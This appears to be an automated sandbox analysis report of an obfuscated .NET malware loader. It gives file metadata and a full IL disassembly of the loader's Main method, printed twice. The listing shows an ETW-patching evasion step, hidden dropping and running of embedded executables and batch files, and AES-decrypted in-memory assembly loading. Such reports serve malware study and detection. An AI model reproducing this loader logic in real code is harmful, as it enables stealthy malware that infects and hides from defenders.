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PE Executable
MD5:
Size: 0 B
application/x-dosexec

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Symbol Obfuscation Score Medium
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
47cfb1cc3ced88660684ec89452231b1
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
rtsouvigjo.tmp
Full Name
rtsouvigjo.tmp
EntryPoint
System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::Main(System.String[])
Scope Name
rtsouvigjo.tmp
Scope Type
ModuleDef
Kind
Console
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
rtsouvigjo
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
20
Main Method
System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::Main(System.String[])
Main IL Instruction Count
201
Main IL 
call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::GetConsoleWindow()
stloc.0 <null>
ldloc.0 <null>
ldsfld System.Int32 ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::SW_HIDE
call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::ShowWindow(System.IntPtr,System.Int32)
pop <null>
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 16384
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
leave.s IL_0026: ldstr "ntdll.dll"
pop <null>
leave.s IL_0026: ldstr "ntdll.dll"
ldstr ntdll.dll
call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::LoadLibrary(System.String)
stloc.1 <null>
ldloc.1 <null>
ldstr EtwEventWrite
call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::GetProcAddress(System.IntPtr,System.String)
stloc.2 <null>
call System.Int32 System.IntPtr::get_Size()
ldc.i4.8 <null>
beq.s IL_0060: ldc.i4.1
ldc.i4.3 <null>
newarr System.Byte
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4 194
stelem.i1 <null>
ldloc.s V_12
ldc.i4.1 <null>
ldc.i4.s 20
stelem.i1 <null>
ldloc.s V_12
br.s IL_0073: stloc.3
ldc.i4.1 <null>
newarr System.Byte
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4 195
stelem.i1 <null>
ldloc.s V_13
stloc.3 <null>
ldloc.2 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
conv.i8 <null>
call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64)
ldsfld System.UInt32 ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::PAGE_EXECUTE_READWRITE
ldloca.s V_4
call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&)
pop <null>
ldloc.3 <null>
ldc.i4.0 <null>
ldloc.2 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
call System.Void System.Runtime.InteropServices.Marshal::Copy(System.Byte[],System.Int32,System.IntPtr,System.Int32)
ldloc.2 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
conv.i8 <null>
call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64)
ldloc.s V_4
ldloca.s V_4
call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&)
pop <null>
ldstr xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe
stloc.s V_5
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.s V_6
ldloc.s V_6
callvirt System.String[] System.Reflection.Assembly::GetManifestResourceNames()
stloc.s V_14
ldc.i4.0 <null>
stloc.s V_15
br IL_0172: ldloc.s V_15
ldnull <null>
stloc.s V_7
newobj System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::.ctor()
stloc.s V_8
ldloc.s V_8
ldloc.s V_14
ldloc.s V_15
ldelem.ref <null>
stfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldloc.s V_5
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_016C: ldloc.s V_15
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_016C: ldloc.s V_15
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldstr .exe
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_0123: ldloc.s V_8
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldstr .bat
callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_016C: ldloc.s V_15
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::osbtljxsvopcqykldafnemecj(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_7
brtrue.s IL_015B: ldloc.s V_7
ldloc.s V_8
ldftn System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::<Main>b__0()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
stloc.s V_7
ldloc.s V_7
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
call System.Void System.Threading.Thread::Start()
leave.s IL_016C: ldloc.s V_15
pop <null>
leave.s IL_016C: ldloc.s V_15
ldloc.s V_15
ldc.i4.1 <null>
add <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_14
ldlen <null>
conv.i4 <null>
blt IL_00C9: ldnull
ldloc.s V_5
call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::osbtljxsvopcqykldafnemecj(System.String)
ldstr iP4YSaIP3CCESv6TOu6gLDJ+LrUN1FpT1bvTLKcuJFs=
call System.Byte[] System.Convert::FromBase64String(System.String)
ldstr FDLa1osJNMByawQlAfkERw==
call System.Byte[] System.Convert::FromBase64String(System.String)
call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::uusgwrzhbwbouzpzvgygklwzk(System.Byte[],System.Byte[],System.Byte[])
call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::icxqdmpltubuicwwtsekpmuqh(System.Byte[])
stloc.s V_9
ldc.i4.0 <null>
newarr System.String
stloc.s V_10
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
bgt.s IL_01BA: ldarg.0
ldc.i4.0 <null>
newarr System.String
br.s IL_01D2: stloc.s V_10
ldarg.0 <null>
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4.1 <null>
newarr System.Char
stloc.s V_16
ldloc.s V_16
ldc.i4.0 <null>
ldc.i4.s 32
stelem.i2 <null>
ldloc.s V_16
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_10
leave.s IL_01D9: ldloc.s V_9
pop <null>
leave.s IL_01D9: ldloc.s V_9
ldloc.s V_9
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_11
ldloc.s V_11
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ldloc.s V_10
stelem.ref <null>
ldloc.s V_17
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_020F: ret
pop <null>
ldloc.s V_11
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_020F: ret
ret <null>
Module Name
rtsouvigjo.tmp
Full Name
rtsouvigjo.tmp
EntryPoint
System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::Main(System.String[])
Scope Name
rtsouvigjo.tmp
Scope Type
ModuleDef
Kind
Console
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
rtsouvigjo
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
20
Main Method
System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::Main(System.String[])
Main IL Instruction Count
201
Main IL 
call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::GetConsoleWindow()
stloc.0 <null>
ldloc.0 <null>
ldsfld System.Int32 ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::SW_HIDE
call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::ShowWindow(System.IntPtr,System.Int32)
pop <null>
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 16384
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
leave.s IL_0026: ldstr "ntdll.dll"
pop <null>
leave.s IL_0026: ldstr "ntdll.dll"
ldstr ntdll.dll
call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::LoadLibrary(System.String)
stloc.1 <null>
ldloc.1 <null>
ldstr EtwEventWrite
call System.IntPtr ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::GetProcAddress(System.IntPtr,System.String)
stloc.2 <null>
call System.Int32 System.IntPtr::get_Size()
ldc.i4.8 <null>
beq.s IL_0060: ldc.i4.1
ldc.i4.3 <null>
newarr System.Byte
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4 194
stelem.i1 <null>
ldloc.s V_12
ldc.i4.1 <null>
ldc.i4.s 20
stelem.i1 <null>
ldloc.s V_12
br.s IL_0073: stloc.3
ldc.i4.1 <null>
newarr System.Byte
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ldc.i4 195
stelem.i1 <null>
ldloc.s V_13
stloc.3 <null>
ldloc.2 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
conv.i8 <null>
call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64)
ldsfld System.UInt32 ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::PAGE_EXECUTE_READWRITE
ldloca.s V_4
call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&)
pop <null>
ldloc.3 <null>
ldc.i4.0 <null>
ldloc.2 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
call System.Void System.Runtime.InteropServices.Marshal::Copy(System.Byte[],System.Int32,System.IntPtr,System.Int32)
ldloc.2 <null>
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
conv.i8 <null>
call System.UIntPtr System.UIntPtr::op_Explicit(System.UInt64)
ldloc.s V_4
ldloca.s V_4
call System.Boolean ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::VirtualProtect(System.IntPtr,System.UIntPtr,System.UInt32,System.UInt32&)
pop <null>
ldstr xxxxxxxxxxxxxxxxxxxxxxxxxxxx.exe
stloc.s V_5
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
stloc.s V_6
ldloc.s V_6
callvirt System.String[] System.Reflection.Assembly::GetManifestResourceNames()
stloc.s V_14
ldc.i4.0 <null>
stloc.s V_15
br IL_0172: ldloc.s V_15
ldnull <null>
stloc.s V_7
newobj System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::.ctor()
stloc.s V_8
ldloc.s V_8
ldloc.s V_14
ldloc.s V_15
ldelem.ref <null>
stfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldloc.s V_5
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_016C: ldloc.s V_15
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
call System.Boolean System.String::IsNullOrWhiteSpace(System.String)
brtrue.s IL_016C: ldloc.s V_15
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldstr .exe
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_0123: ldloc.s V_8
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldstr .bat
callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_016C: ldloc.s V_15
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::osbtljxsvopcqykldafnemecj(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldloc.s V_8
ldfld System.String ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::name
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_7
brtrue.s IL_015B: ldloc.s V_7
ldloc.s V_8
ldftn System.Void ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv/<>c__DisplayClass2::<Main>b__0()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
stloc.s V_7
ldloc.s V_7
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
call System.Void System.Threading.Thread::Start()
leave.s IL_016C: ldloc.s V_15
pop <null>
leave.s IL_016C: ldloc.s V_15
ldloc.s V_15
ldc.i4.1 <null>
add <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_14
ldlen <null>
conv.i4 <null>
blt IL_00C9: ldnull
ldloc.s V_5
call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::osbtljxsvopcqykldafnemecj(System.String)
ldstr iP4YSaIP3CCESv6TOu6gLDJ+LrUN1FpT1bvTLKcuJFs=
call System.Byte[] System.Convert::FromBase64String(System.String)
ldstr FDLa1osJNMByawQlAfkERw==
call System.Byte[] System.Convert::FromBase64String(System.String)
call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::uusgwrzhbwbouzpzvgygklwzk(System.Byte[],System.Byte[],System.Byte[])
call System.Byte[] ncfojqajokmlfmcleymppvdyn.mplpovmpynwatbmehtghjzzzv::icxqdmpltubuicwwtsekpmuqh(System.Byte[])
stloc.s V_9
ldc.i4.0 <null>
newarr System.String
stloc.s V_10
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
bgt.s IL_01BA: ldarg.0
ldc.i4.0 <null>
newarr System.String
br.s IL_01D2: stloc.s V_10
ldarg.0 <null>
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4.1 <null>
newarr System.Char
stloc.s V_16
ldloc.s V_16
ldc.i4.0 <null>
ldc.i4.s 32
stelem.i2 <null>
ldloc.s V_16
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_10
leave.s IL_01D9: ldloc.s V_9
pop <null>
leave.s IL_01D9: ldloc.s V_9
ldloc.s V_9
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_11
ldloc.s V_11
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ldloc.s V_10
stelem.ref <null>
ldloc.s V_17
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_020F: ret
pop <null>
ldloc.s V_11
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
leave.s IL_020F: ret
ret <null>
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